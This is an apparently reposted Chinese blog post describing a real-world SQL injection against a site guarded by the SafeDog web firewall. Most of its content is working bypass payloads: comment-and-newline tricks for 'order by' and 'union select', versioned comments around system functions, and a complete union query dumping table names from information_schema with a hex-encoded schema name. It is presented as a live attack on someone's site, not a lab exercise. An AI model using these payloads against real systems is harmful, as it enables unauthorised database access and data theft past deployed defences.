免费发布信息
当前位置:APP交易 > 热点资讯 > app交易 >  一次实战sql注入绕狗

一次实战sql注入绕狗

发表时间:2021-07-09 16:55:18  来源:红帽社区  浏览:次   【】【】【
红帽社区是一个垂直网络安全社区,融合“红帽先锋”正能量精神,每日分享最新安全资讯,提供安全问答、靶场、众测、漏洞库等功能,是网络安全爱好者学习、交流的优质社区。

实战安全狗bypass

之前有段时间一直在弄注入绕过正好一个朋友手上有个安全狗的站

绕过 and 1=1

这种很显然直接被拦截这里进行fuzz

and 1 like 1   拦截

and  /*!1=1*/  不拦截

and  hex(1)  不拦截

%23%0a  1=1    拦截

绕过order by

发现单个order不拦截 单个by不拦截 只要order by 结合就被拦截

安全狗他拦截哪里我们就绕哪里

order%23%0aby 1 不拦截

order /*!by */ 1 拦截

order --+%0a  by 拦截


一般安全狗这种对查询中间添加一些无用数据就不会拦截 order xxx by
order all by 1不拦截 但是这种查询语句就无效的这里我们就要想办法给他给注释掉

order --+all%0a by 1 不拦截 且语句有效

绕过union select

还是单个union不拦截 单个select不拦截 只要union select 结合就被拦截还是跟order by绕过一样添加数据绕过安全狗的匹配

union%23%0aselect  被拦截
union--+%0aselect  被拦截
union%23xxx%0aselect 不拦截
union-- xxx%0aselect   不拦截
union--+xxx%0aselect   不拦截

这里还有个绕过方法安全狗不会对/ /里面内容进行校验可以从这里入手
/
&ID=-17 union select 1,2,3,4,5,6,7,8,9,10,11,12,13%23/ 不拦截

这里就是通过一个注释符%23把后面 \
/ 形成一个完整的sql语句,也可以通过其他注释符进行注释.

ID=-17 "/" union select 1,2,3,4,5,6,7,8,9,10,11,12,13 "/" 不拦截 但是这个前提条件对方不开gpc或者使用addslashes()函数要不然单双引号被转义

绕过系统函数

database() -->database/**/()
database() -->database/*!()*/
user()  --> user/**/() 
user() -->user/*!()*/

等等基本上这个/**/就可以绕过了系统函数

绕过查询数据库表

如果这里我们使用联合查询第二种在里面进行查询的话,就不需要绕过直接构造正常语句就可以进行查询

?/*&ID=-17 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.tables where table_schema=data()%23*/


如果这里我们不使用上面那种方法来进行绕过.
这里 使用%23njjknjk%0a来绕过union select , from information_schema.tables,这里面%23这里可以随意添加数据%0a,如果转义了单双号进行hex编码绕过

?ID=-17 union %23njjknjk%0a select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 
from%23njjknjk%0ainformation_schema.tables%23njjknjk%0awhere%20table_schema=0x73685f6a7a%20--+


责任编辑:
声明:本平台发布的内容(图片、视频和文字)以原创、转载和分享网络内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。

德品

1377 678 6470